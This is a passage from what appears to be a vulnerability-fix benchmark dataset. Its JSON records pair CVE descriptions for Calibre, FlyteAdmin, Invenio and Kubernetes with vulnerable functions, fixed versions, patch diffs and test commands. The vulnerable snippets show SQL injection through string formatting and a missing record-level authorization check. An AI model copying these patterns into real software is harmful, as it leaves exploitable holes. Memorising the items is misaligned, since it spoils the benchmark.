\"custom_tracks\", \"sample_tracks\"]:\n+        if key not in [\"tracks\", \"custom_tracks\", \"sample_tracks\", \"cloud_public_tracks\"]:\n             continue\n         for track_item in track_items:\n             session_tracks += list(track_item.values())\n\n--- a/scout/server/blueprints/alignviewers/views.py\n+++ b/scout/server/blueprints/alignviewers/views.py\n@@ -6,6 +6,10 @@\n     Based on code from answers to this thread:\n         https://stackoverflow.com/questions/6656363/proxying-to-another-web-service-with-flask/\n     \"\"\"\n+    # Check that user is logged in or that file extension is valid\n+    if controllers.check_session_tracks(remote_url) is False:\n+        return abort(403)\n+\n     resp = requests.request(\n         method=request.method,\n         url=remote_url,\n\n--- a/scout/server/blueprints/alignviewers/views.py\n+++ b/scout/server/blueprints/alignviewers/views.py\n@@ -3,8 +3,7 @@\n     file_path = request.args.get(\"file\") or \".\"\n \n     # Check that user is logged in or that file extension is valid\n-    if current_user.is_authenticated is False or file_path not in session.get(\"igv_tracks\", []):\n-        LOG.warning(f\"{file_path} not in {session.get('igv_tracks', [])}\")\n+    if controllers.check_session_tracks(file_path) is False:\n         return abort(403)\n \n     range_header = request.headers.get(\"Range\", None)\n\n--- /dev/null\n+++ b/scout/server/blueprints/alignviewers/views.py\n@@ -0,0 +1,18 @@\n+def check_session_tracks(resource):\n+    \"\"\"Make sure that a user requesting a resource is authenticated and resource is in session IGV tracks\n+\n+    Args:\n+        resource(str): a resource on the server or on a remote URL\n+\n+    Returns\n+        True is user has access to resource else False\n+    \"\"\"\n+    # Check that user is logged in or that file extension is valid\n+    if current_user.is_authenticated is False:\n+        LOG.warning(\"Unauthenticated user requesting resource via remote_static\")\n+        return False\n+    if resource not in session.get(\"igv_tracks\", []):\n+        LOG.warning(f\"{resource} not in {session.get('igv_tracks', [])}\")\n+        return False\n+    return True\n+\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-41891", "cve_description": "FlyteAdmin is the control plane for Flyte responsible for managing entities and administering workflow executions. Prior to version 1.1.124, list endpoints on FlyteAdmin have a SQL vulnerability where a malicious user can send a REST request with custom SQL statements as list filters. The attacker needs to have access to the FlyteAdmin installation, typically either behind a VPN or authentication. Version 1.1.124 contains a patch for this issue.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/flyteorg/flyteadmin", "patch_url": ["https://github.com/flyteorg/flyteadmin/commit/b3177ef70f068e908140b8a4a9913dfa74f289fd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_33_2", "commit": "6c97bb9", "file_path": "pkg/common/sorting.go", "start_line": 26, "end_line": 39, "snippet": "func NewSortParameter(sort admin.Sort) (SortParameter, error) {\n\tvar gormOrderExpression string\n\tswitch sort.Direction {\n\tcase admin.Sort_DESCENDING:\n\t\tgormOrderExpression = fmt.Sprintf(gormDescending, sort.Key)\n\tcase admin.Sort_ASCENDING:\n\t\tgormOrderExpression = fmt.Sprintf(gormAscending, sort.Key)\n\tdefault:\n\t\treturn nil, errors.NewFlyteAdminErrorf(codes.InvalidArgument, \"invalid sort order specified: %v\", sort)\n\t}\n\treturn &sortParamImpl{\n\t\tgormOrderExpression: gormOrderExpression,\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_33_1", "commit": "b3177ef", "file_path": "pkg/common/sorting.go", "start_line": 27, "end_line": 49, "snippet": "func NewSortParameter(sort *admin.Sort, allowed sets.String) (SortParameter, error) {\n\tif sort == nil {\n\t\treturn nil, nil\n\t}\n\n\tkey := sort.Key\n\tif !allowed.Has(key) {\n\t\treturn nil, errors.NewFlyteAdminErrorf(codes.InvalidArgument, \"invalid sort key '%s'\", key)\n\t}\n\n\tvar gormOrderExpression string\n\tswitch sort.Direction {\n\tcase admin.Sort_DESCENDING:\n\t\tgormOrderExpression = fmt.Sprintf(gormDescending, key)\n\tcase admin.Sort_ASCENDING:\n\t\tgormOrderExpression = fmt.Sprintf(gormAscending, key)\n\tdefault:\n\t\treturn nil, errors.NewFlyteAdminErrorf(codes.InvalidArgument, \"invalid sort order specified: %v\", sort)\n\t}\n\treturn &sortParamImpl{\n\t\tgormOrderExpression: gormOrderExpression,\n\t}, nil\n}"}], "vul_patch": "--- a/pkg/common/sorting.go\n+++ /dev/null\n@@ -1,14 +0,0 @@\n-func NewSortParameter(sort admin.Sort) (SortParameter, error) {\n-\tvar gormOrderExpression string\n-\tswitch sort.Direction {\n-\tcase admin.Sort_DESCENDING:\n-\t\tgormOrderExpression = fmt.Sprintf(gormDescending, sort.Key)\n-\tcase admin.Sort_ASCENDING:\n-\t\tgormOrderExpression = fmt.Sprintf(gormAscending, sort.Key)\n-\tdefault:\n-\t\treturn nil, errors.NewFlyteAdminErrorf(codes.InvalidArgument, \"invalid sort order specified: %v\", sort)\n-\t}\n-\treturn &sortParamImpl{\n-\t\tgormOrderExpression: gormOrderExpression,\n-\t}, nil\n-}\n\n--- /dev/null\n+++ b/pkg/common/sorting.go\n@@ -0,0 +1,23 @@\n+func NewSortParameter(sort *admin.Sort, allowed sets.String) (SortParameter, error) {\n+\tif sort == nil {\n+\t\treturn nil, nil\n+\t}\n+\n+\tkey := sort.Key\n+\tif !allowed.Has(key) {\n+\t\treturn nil, errors.NewFlyteAdminErrorf(codes.InvalidArgument, \"invalid sort key '%s'\", key)\n+\t}\n+\n+\tvar gormOrderExpression string\n+\tswitch sort.Direction {\n+\tcase admin.Sort_DESCENDING:\n+\t\tgormOrderExpression = fmt.Sprintf(gormDescending, key)\n+\tcase admin.Sort_ASCENDING:\n+\t\tgormOrderExpression = fmt.Sprintf(gormAscending, key)\n+\tdefault:\n+\t\treturn nil, errors.NewFlyteAdminErrorf(codes.InvalidArgument, \"invalid sort order specified: %v\", sort)\n+\t}\n+\treturn &sortParamImpl{\n+\t\tgormOrderExpression: gormOrderExpression,\n+\t}, nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-41891:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/flyteadmin\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestSortParameter_InvalidSortKey$ github.com/flyteorg/flyteadmin/pkg/common\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-7009", "cve_description": "Unsanitized user-input in Calibre <= 7.15.0 allow users with permissions to perform full-text searches to achieve SQL injection on the SQLite database.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/kovidgoyal/calibre", "patch_url": ["https://github.com/kovidgoyal/calibre/commit/d56574285e8859d3d715eb7829784ee74337b7d7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_173_1", "commit": "bcd0ab1", "file_path": "src/calibre/db/backend.py", "start_line": 2361, "end_line": 2408, "snippet": "    def search_annotations(self,\n        fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, annotation_type,\n        restrict_to_book_ids, restrict_to_user, ignore_removed=False\n    ):\n        fts_engine_query = unicode_normalize(fts_engine_query)\n        fts_table = 'annotations_fts_stemmed' if use_stemming else 'annotations_fts'\n        text = 'annotations.searchable_text'\n        if highlight_start is not None and highlight_end is not None:\n            if snippet_size is not None:\n                text = \"snippet({fts_table}, 0, '{highlight_start}', '{highlight_end}', '\\u2026', {snippet_size})\".format(\n                        fts_table=fts_table, highlight_start=highlight_start, highlight_end=highlight_end,\n                        snippet_size=max(1, min(snippet_size, 64)))\n            else:\n                text = f\"highlight({fts_table}, 0, '{highlight_start}', '{highlight_end}')\"\n        query = 'SELECT {0}.id, {0}.book, {0}.format, {0}.user_type, {0}.user, {0}.annot_data, {1} FROM {0} '\n        query = query.format('annotations', text)\n        query += ' JOIN {fts_table} ON annotations.id = {fts_table}.rowid'.format(fts_table=fts_table)\n        query += f' WHERE {fts_table} MATCH ?'\n        data = [fts_engine_query]\n        if restrict_to_user:\n            query += ' AND annotations.user_type = ? AND annotations.user = ?'\n            data += list(restrict_to_user)\n        if annotation_type:\n            query += ' AND annotations.annot_type = ? '\n            data.append(annotation_type)\n        query += f' ORDER BY {fts_table}.rank '\n        ls = json.loads\n        try:\n            for (rowid, book_id, fmt, user_type, user, annot_data, text) in self.execute(query, tuple(data)):\n                if restrict_to_book_ids is not None and book_id not in restrict_to_book_ids:\n                    continue\n                try:\n                    parsed_annot = ls(annot_data)\n                except Exception:\n                    continue\n                if ignore_removed and parsed_annot.get('removed'):\n                    continue\n                yield {\n                    'id': rowid,\n                    'book_id': book_id,\n                    'format': fmt,\n                    'user_type': user_type,\n                    'user': user,\n                    'text': text,\n                    'annotation': parsed_annot,\n                }\n        except apsw.SQLError as e:\n            raise FTSQueryError(fts_engine_query, query, e)"}, {"id": "vul_py_173_2", "commit": "bcd0ab1", "file_path": "src/calibre/db/fts/connect.py", "start_line": 151, "end_line": 199, "snippet": "    def search(self,\n        fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, restrict_to_book_ids,\n        return_text=True, process_each_result=None\n    ):\n        if restrict_to_book_ids is not None and not restrict_to_book_ids:\n            return\n        fts_engine_query = unicode_normalize(fts_engine_query)\n        fts_table = 'books_fts' + ('_stemmed' if use_stemming else '')\n        if return_text:\n            text = 'books_text.searchable_text'\n            if highlight_start is not None and highlight_end is not None:\n                if snippet_size is not None:\n                    text = f'''snippet(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}', '\\u2026', {max(1, min(snippet_size, 64))})'''\n                else:\n                    text = f'''highlight(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}')'''\n            text = ', ' + text\n        else:\n            text = ''\n        query = 'SELECT {0}.id, {0}.book, {0}.format {1} FROM {0} '.format('books_text', text)\n        query += f' JOIN {fts_table} ON fts_db.books_text.id = {fts_table}.rowid'\n        query += ' WHERE '\n        data = []\n        conn = self.get_connection()\n        temp_table_name = ''\n        if restrict_to_book_ids:\n            temp_table_name = f'fts_restrict_search_{next(self.temp_table_counter)}'\n            conn.execute(f'CREATE TABLE temp.{temp_table_name}(x INTEGER)')\n            conn.executemany(f'INSERT INTO temp.{temp_table_name} VALUES (?)', tuple((x,) for x in restrict_to_book_ids))\n            query += f' fts_db.books_text.book IN temp.{temp_table_name} AND '\n        query += f' \"{fts_table}\" MATCH ?'\n        data.append(fts_engine_query)\n        query += f' ORDER BY {fts_table}.rank '\n        if temp_table_name:\n            query += f'; DROP TABLE temp.{temp_table_name}'\n        try:\n            for record in conn.execute(query, tuple(data)):\n                result = {\n                    'id': record[0],\n                    'book_id': record[1],\n                    'format': record[2],\n                    'text': record[3] if return_text else '',\n                }\n                if process_each_result is not None:\n                    result = process_each_result(result)\n                ret = yield result\n                if ret is True:\n                    break\n        except apsw.SQLError as e:\n            raise FTSQueryError(fts_engine_query, query, e) from e"}, {"id": "vul_py_173_3", "commit": "bcd0ab1", "file_path": "src/calibre/db/notes/connect.py", "start_line": 406, "end_line": 449, "snippet": "    def search(self,\n        conn, fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, restrict_to_fields=(),\n        return_text=True, process_each_result=None, limit=None\n    ):\n        if not fts_engine_query:\n            yield from self.all_notes(\n                conn, restrict_to_fields, limit=limit, snippet_size=snippet_size, return_text=return_text, process_each_result=process_each_result)\n            return\n        fts_engine_query = unicode_normalize(fts_engine_query)\n        fts_table = 'notes_fts' + ('_stemmed' if use_stemming else '')\n        if return_text:\n            text = 'notes.searchable_text'\n            if highlight_start is not None and highlight_end is not None:\n                if snippet_size is not None:\n                    text = f'''snippet(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}', '\\u2026', {max(1, min(snippet_size, 64))})'''\n                else:\n                    text = f'''highlight(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}')'''\n            text = ', ' + text\n        else:\n            text = ''\n        query = 'SELECT {0}.id, {0}.colname, {0}.item {1} FROM {0} '.format('notes', text)\n        query += f' JOIN {fts_table} ON notes_db.notes.id = {fts_table}.rowid'\n        query += ' WHERE '\n        if restrict_to_fields:\n            query += ' notes_db.notes.colname IN ({}) AND '.format(','.join(repeat('?', len(restrict_to_fields))))\n        query += f' \"{fts_table}\" MATCH ?'\n        query += f' ORDER BY {fts_table}.rank '\n        if limit is not None:\n            query += f' LIMIT {limit}'\n        try:\n            for record in conn.execute(query, restrict_to_fields+(fts_engine_query,)):\n                result = {\n                    'id': record[0],\n                    'field': record[1],\n                    'item_id': record[2],\n                    'text': record[3] if return_text else '',\n                }\n                if process_each_result is not None:\n                    result = process_each_result(result)\n                ret = yield result\n                if ret is True:\n                    break\n        except apsw.SQLError as e:\n            raise FTSQueryError(fts_engine_query, query, e) from e"}], "fix_func": [{"id": "fix_py_173_1", "commit": "d565742", "file_path": "src/calibre/db/backend.py", "start_line": 2361, "end_line": 2410, "snippet": "    def search_annotations(self,\n        fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, annotation_type,\n        restrict_to_book_ids, restrict_to_user, ignore_removed=False\n    ):\n        fts_engine_query = unicode_normalize(fts_engine_query)\n        fts_table = 'annotations_fts_stemmed' if use_stemming else 'annotations_fts'\n        text = 'annotations.searchable_text'\n        data = []\n        if highlight_start is not None and highlight_end is not None:\n            if snippet_size is not None:\n                text = \"snippet({fts_table}, 0, ?, ?, '\\u2026', {snippet_size})\".format(\n                        fts_table=fts_table, snippet_size=max(1, min(snippet_size, 64)))\n            else:\n                text = f\"highlight({fts_table}, 0, ?, ?)\"\n            data.append(highlight_start)\n            data.append(highlight_end)\n        query = 'SELECT {0}.id, {0}.book, {0}.format, {0}.user_type, {0}.user, {0}.annot_data, {1} FROM {0} '\n        query = query.format('annotations', text)\n        query += ' JOIN {fts_table} ON annotations.id = {fts_table}.rowid'.format(fts_table=fts_table)\n        query += f' WHERE {fts_table} MATCH ?'\n        data.append(fts_engine_query)\n        if restrict_to_user:\n            query += ' AND annotations.user_type = ? AND annotations.user = ?'\n            data += list(restrict_to_user)\n        if annotation_type:\n            query += ' AND annotations.annot_type = ? '\n            data.append(annotation_type)\n        query += f' ORDER BY {fts_table}.rank '\n        ls = json.loads\n        try:\n            for (rowid, book_id, fmt, user_type, user, annot_data, text) in self.execute(query, tuple(data)):\n                if restrict_to_book_ids is not None and book_id not in restrict_to_book_ids:\n                    continue\n                try:\n                    parsed_annot = ls(annot_data)\n                except Exception:\n                    continue\n                if ignore_removed and parsed_annot.get('removed'):\n                    continue\n                yield {\n                    'id': rowid,\n                    'book_id': book_id,\n                    'format': fmt,\n                    'user_type': user_type,\n                    'user': user,\n                    'text': text,\n                    'annotation': parsed_annot,\n                }\n        except apsw.SQLError as e:\n            raise FTSQueryError(fts_engine_query, query, e)"}, {"id": "fix_py_173_2", "commit": "d565742", "file_path": "src/calibre/db/fts/connect.py", "start_line": 151, "end_line": 201, "snippet": "    def search(self,\n        fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, restrict_to_book_ids,\n        return_text=True, process_each_result=None\n    ):\n        if restrict_to_book_ids is not None and not restrict_to_book_ids:\n            return\n        fts_engine_query = unicode_normalize(fts_engine_query)\n        fts_table = 'books_fts' + ('_stemmed' if use_stemming else '')\n        data = []\n        if return_text:\n            text = 'books_text.searchable_text'\n            if highlight_start is not None and highlight_end is not None:\n                if snippet_size is not None:\n                    text = f'''snippet(\"{fts_table}\", 0, ?, ?, '\\u2026', {max(1, min(snippet_size, 64))})'''\n                else:\n                    text = f'''highlight(\"{fts_table}\", 0, ?, ?)'''\n                data.append(highlight_start)\n                data.append(highlight_end)\n            text = ', ' + text\n        else:\n            text = ''\n        query = 'SELECT {0}.id, {0}.book, {0}.format {1} FROM {0} '.format('books_text', text)\n        query += f' JOIN {fts_table} ON fts_db.books_text.id = {fts_table}.rowid'\n        query += ' WHERE '\n        conn = self.get_connection()\n        temp_table_name = ''\n        if restrict_to_book_ids:\n            temp_table_name = f'fts_restrict_search_{next(self.temp_table_counter)}'\n            conn.execute(f'CREATE TABLE temp.{temp_table_name}(x INTEGER)')\n            conn.executemany(f'INSERT INTO temp.{temp_table_name} VALUES (?)', tuple((x,) for x in restrict_to_book_ids))\n            query += f' fts_db.books_text.book IN temp.{temp_table_name} AND '\n        query += f' \"{fts_table}\" MATCH ?'\n        data.append(fts_engine_query)\n        query += f' ORDER BY {fts_table}.rank '\n        if temp_table_name:\n            query += f'; DROP TABLE temp.{temp_table_name}'\n        try:\n            for record in conn.execute(query, tuple(data)):\n                result = {\n                    'id': record[0],\n                    'book_id': record[1],\n                    'format': record[2],\n                    'text': record[3] if return_text else '',\n                }\n                if process_each_result is not None:\n                    result = process_each_result(result)\n                ret = yield result\n                if ret is True:\n                    break\n        except apsw.SQLError as e:\n            raise FTSQueryError(fts_engine_query, query, e) from e"}, {"id": "fix_py_173_3", "commit": "d565742", "file_path": "src/calibre/db/notes/connect.py", "start_line": 406, "end_line": 451, "snippet": "    def search(self,\n        conn, fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, restrict_to_fields=(),\n        return_text=True, process_each_result=None, limit=None\n    ):\n        if not fts_engine_query:\n            yield from self.all_notes(\n                conn, restrict_to_fields, limit=limit, snippet_size=snippet_size, return_text=return_text, process_each_result=process_each_result)\n            return\n        fts_engine_query = unicode_normalize(fts_engine_query)\n        fts_table = 'notes_fts' + ('_stemmed' if use_stemming else '')\n        hl_data = ()\n        if return_text:\n            text = 'notes.searchable_text'\n            if highlight_start is not None and highlight_end is not None:\n                if snippet_size is not None:\n                    text = f'''snippet(\"{fts_table}\", 0, ?, ?, '\\u2026', {max(1, min(snippet_size, 64))})'''\n                else:\n                    text = f'''highlight(\"{fts_table}\", 0, ?, ?)'''\n                hl_data = (highlight_start, highlight_end)\n            text = ', ' + text\n        else:\n            text = ''\n        query = 'SELECT {0}.id, {0}.colname, {0}.item {1} FROM {0} '.format('notes', text)\n        query += f' JOIN {fts_table} ON notes_db.notes.id = {fts_table}.rowid'\n        query += ' WHERE '\n        if restrict_to_fields:\n            query += ' notes_db.notes.colname IN ({}) AND '.format(','.join(repeat('?', len(restrict_to_fields))))\n        query += f' \"{fts_table}\" MATCH ?'\n        query += f' ORDER BY {fts_table}.rank '\n        if limit is not None:\n            query += f' LIMIT {limit}'\n        try:\n            for record in conn.execute(query, hl_data + restrict_to_fields + (fts_engine_query,)):\n                result = {\n                    'id': record[0],\n                    'field': record[1],\n                    'item_id': record[2],\n                    'text': record[3] if return_text else '',\n                }\n                if process_each_result is not None:\n                    result = process_each_result(result)\n                ret = yield result\n                if ret is True:\n                    break\n        except apsw.SQLError as e:\n            raise FTSQueryError(fts_engine_query, query, e) from e"}], "vul_patch": "--- a/src/calibre/db/backend.py\n+++ b/src/calibre/db/backend.py\n@@ -5,18 +5,20 @@\n         fts_engine_query = unicode_normalize(fts_engine_query)\n         fts_table = 'annotations_fts_stemmed' if use_stemming else 'annotations_fts'\n         text = 'annotations.searchable_text'\n+        data = []\n         if highlight_start is not None and highlight_end is not None:\n             if snippet_size is not None:\n-                text = \"snippet({fts_table}, 0, '{highlight_start}', '{highlight_end}', '\\u2026', {snippet_size})\".format(\n-                        fts_table=fts_table, highlight_start=highlight_start, highlight_end=highlight_end,\n-                        snippet_size=max(1, min(snippet_size, 64)))\n+                text = \"snippet({fts_table}, 0, ?, ?, '\\u2026', {snippet_size})\".format(\n+                        fts_table=fts_table, snippet_size=max(1, min(snippet_size, 64)))\n             else:\n-                text = f\"highlight({fts_table}, 0, '{highlight_start}', '{highlight_end}')\"\n+                text = f\"highlight({fts_table}, 0, ?, ?)\"\n+            data.append(highlight_start)\n+            data.append(highlight_end)\n         query = 'SELECT {0}.id, {0}.book, {0}.format, {0}.user_type, {0}.user, {0}.annot_data, {1} FROM {0} '\n         query = query.format('annotations', text)\n         query += ' JOIN {fts_table} ON annotations.id = {fts_table}.rowid'.format(fts_table=fts_table)\n         query += f' WHERE {fts_table} MATCH ?'\n-        data = [fts_engine_query]\n+        data.append(fts_engine_query)\n         if restrict_to_user:\n             query += ' AND annotations.user_type = ? AND annotations.user = ?'\n             data += list(restrict_to_user)\n\n--- a/src/calibre/db/fts/connect.py\n+++ b/src/calibre/db/fts/connect.py\n@@ -6,20 +6,22 @@\n             return\n         fts_engine_query = unicode_normalize(fts_engine_query)\n         fts_table = 'books_fts' + ('_stemmed' if use_stemming else '')\n+        data = []\n         if return_text:\n             text = 'books_text.searchable_text'\n             if highlight_start is not None and highlight_end is not None:\n                 if snippet_size is not None:\n-                    text = f'''snippet(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}', '\\u2026', {max(1, min(snippet_size, 64))})'''\n+                    text = f'''snippet(\"{fts_table}\", 0, ?, ?, '\\u2026', {max(1, min(snippet_size, 64))})'''\n                 else:\n-                    text = f'''highlight(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}')'''\n+                    text = f'''highlight(\"{fts_table}\", 0, ?, ?)'''\n+                data.append(highlight_start)\n+                data.append(highlight_end)\n             text = ', ' + text\n         else:\n             text = ''\n         query = 'SELECT {0}.id, {0}.book, {0}.format {1} FROM {0} '.format('books_text', text)\n         query += f' JOIN {fts_table} ON fts_db.books_text.id = {fts_table}.rowid'\n         query += ' WHERE '\n-        data = []\n         conn = self.get_connection()\n         temp_table_name = ''\n         if restrict_to_book_ids:\n\n--- a/src/calibre/db/notes/connect.py\n+++ b/src/calibre/db/notes/connect.py\n@@ -8,13 +8,15 @@\n             return\n         fts_engine_query = unicode_normalize(fts_engine_query)\n         fts_table = 'notes_fts' + ('_stemmed' if use_stemming else '')\n+        hl_data = ()\n         if return_text:\n             text = 'notes.searchable_text'\n             if highlight_start is not None and highlight_end is not None:\n                 if snippet_size is not None:\n-                    text = f'''snippet(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}', '\\u2026', {max(1, min(snippet_size, 64))})'''\n+                    text = f'''snippet(\"{fts_table}\", 0, ?, ?, '\\u2026', {max(1, min(snippet_size, 64))})'''\n                 else:\n-                    text = f'''highlight(\"{fts_table}\", 0, '{highlight_start}', '{highlight_end}')'''\n+                    text = f'''highlight(\"{fts_table}\", 0, ?, ?)'''\n+                hl_data = (highlight_start, highlight_end)\n             text = ', ' + text\n         else:\n             text = ''\n@@ -28,7 +30,7 @@\n         if limit is not None:\n             query += f' LIMIT {limit}'\n         try:\n-            for record in conn.execute(query, restrict_to_fields+(fts_engine_query,)):\n+            for record in conn.execute(query, hl_data + restrict_to_fields + (fts_engine_query,)):\n                 result = {\n                     'id': record[0],\n                     'field': record[1],\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43781", "cve_description": "Invenio-Drafts-Resources is a submission/deposit module for Invenio, a software framework for research data management. Invenio-Drafts-Resources prior to versions 0.13.7 and 0.14.6 does not properly check permissions when a record is published. The vulnerability is exploitable in a default installation of InvenioRDM. An authenticated a user is able via REST API calls to publish draft records of other users if they know the record identifier and the draft validates (e.g. all require fields filled out). An attacker is not able to modify the data in the record, and thus e.g. *cannot* change a record from restricted to public. The problem is patched in Invenio-Drafts-Resources v0.13.7 and 0.14.6, which is part of InvenioRDM v6.0.1 and InvenioRDM v7.0 respectively.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/inveniosoftware/invenio-drafts-resources", "patch_url": ["https://github.com/inveniosoftware/invenio-drafts-resources/commit/039b0cff1ad4b952000f4d8c3a93f347108b6626"], "programing_language": "Python", "vul_func": [{"id": "vul_py_207_1", "commit": "998ede9", "file_path": "invenio_drafts_resources/services/records/service.py", "start_line": 260, "end_line": 296, "snippet": "    def publish(self, id_, identity, uow=None):\n        \"\"\"Publish a draft.\n\n        Idea:\n            - Get the draft from the data layer (draft is not passed in)\n            - Validate it more strictly than when it was originally saved\n              (drafts can be incomplete but only complete drafts can be turned\n              into records)\n            - Create or update associated (published) record with data\n        \"\"\"\n        self.require_permission(identity, \"publish\")\n\n        # Get the draft\n        draft = self.draft_cls.pid.resolve(id_, registered_only=False)\n\n        # Validate the draft strictly - since a draft can be saved with errors\n        # we do a strict validation here to make sure only valid drafts can be\n        # published.\n        self._validate_draft(identity, draft)\n\n        # Create the record from the draft\n        latest_id = draft.versions.latest_id\n        record = self.record_cls.publish(draft)\n\n        # Run components\n        self.run_components(\n            'publish', identity, draft=draft, record=record, uow=uow)\n\n        # Commit and index\n        uow.register(RecordCommitOp(record, indexer=self.indexer))\n        uow.register(RecordDeleteOp(draft, force=False, indexer=self.indexer))\n\n        if latest_id:\n            self._reindex_latest(latest_id, uow=uow)\n\n        return self.result_item(\n            self, identity, record, links_tpl=self.links_item_tpl)"}], "fix_func": [{"id": "fix_py_207_1", "commit": "039b0cf", "file_path": "invenio_drafts_resources/services/records/service.py", "start_line": 260, "end_line": 295, "snippet": "    def publish(self, id_, identity, uow=None):\n        \"\"\"Publish a draft.\n\n        Idea:\n            - Get the draft from the data layer (draft is not passed in)\n            - Validate it more strictly than when it was originally saved\n              (drafts can be incomplete but only complete drafts can be turned\n              into records)\n            - Create or update associated (published) record with data\n        \"\"\"\n        # Get the draft\n        draft = self.draft_cls.pid.resolve(id_, registered_only=False)\n        self.require_permission(identity, \"publish\", record=draft)\n\n        # Validate the draft strictly - since a draft can be saved with errors\n        # we do a strict validation here to make sure only valid drafts can be\n        # published.\n        self._validate_draft(identity, draft)\n\n        # Create the record from the draft\n        latest_id = draft.versions.latest_id\n        record = self.record_cls.publish(draft)\n\n        # Run components\n        self.run_components(\n            'publish', identity, draft=draft, record=record, uow=uow)\n\n        # Commit and index\n        uow.register(RecordCommitOp(record, indexer=self.indexer))\n        uow.register(RecordDeleteOp(draft, force=False, indexer=self.indexer))\n\n        if latest_id:\n            self._reindex_latest(latest_id, uow=uow)\n\n        return self.result_item(\n            self, identity, record, links_tpl=self.links_item_tpl)"}], "vul_patch": "--- a/invenio_drafts_resources/services/records/service.py\n+++ b/invenio_drafts_resources/services/records/service.py\n@@ -8,10 +8,9 @@\n               into records)\n             - Create or update associated (published) record with data\n         \"\"\"\n-        self.require_permission(identity, \"publish\")\n-\n         # Get the draft\n         draft = self.draft_cls.pid.resolve(id_, registered_only=False)\n+        self.require_permission(identity, \"publish\", record=draft)\n \n         # Validate the draft strictly - since a draft can be saved with errors\n         # we do a strict validation here to make sure only valid drafts can be\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-1002101", "cve_description": "In Kubernetes versions 1.9.0-1.9.9, 1.10.0-1.10.5, and 1.11.0-1.11.1, user input was handled insecurely while setting up volume mounts on Windows nodes, which could lead to command line argument injection.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": ["https://github.com/kubernetes/kubernetes/commit/d65039c56ce4de5f2efdc38aa1284eeb95f89169"], "programing_language": "Go", "vul_func": [{"id": "vul_go_256_1", "commit": "dc0afb24d138220cb53d9be3298f1539b0be4f7a", "file_path": "pkg/util/mount/mount_windows.go", "start_line": 53, "end_line": 104, "snippet": "func (mounter *Mounter) Mount(source string, target string, fstype string, options []string) error {\n\ttarget = normalizeWindowsPath(target)\n\n\tif source == \"tmpfs\" {\n\t\tglog.V(3).Infof(\"azureMount: mounting source (%q), target (%q), with options (%q)\", source, target, options)\n\t\treturn os.MkdirAll(target, 0755)\n\t}\n\n\tparentDir := filepath.Dir(target)\n\tif err := os.MkdirAll(parentDir, 0755); err != nil {\n\t\treturn err\n\t}\n\n\tglog.V(4).Infof(\"azureMount: mount options(%q) source:%q, target:%q, fstype:%q, begin to mount\",\n\t\toptions, source, target, fstype)\n\tbindSource := \"\"\n\n\t// tell it's going to mount azure disk or azure file according to options\n\tif bind, _ := isBind(options); bind {\n\t\t// mount azure disk\n\t\tbindSource = normalizeWindowsPath(source)\n\t} else {\n\t\tif len(options) < 2 {\n\t\t\tglog.Warningf(\"azureMount: mount options(%q) command number(%d) less than 2, source:%q, target:%q, skip mounting\",\n\t\t\t\toptions, len(options), source, target)\n\t\t\treturn nil\n\t\t}\n\n\t\t// currently only cifs mount is supported\n\t\tif strings.ToLower(fstype) != \"cifs\" {\n\t\t\treturn fmt.Errorf(\"azureMount: only cifs mount is supported now, fstype: %q, mounting source (%q), target (%q), with options (%q)\", 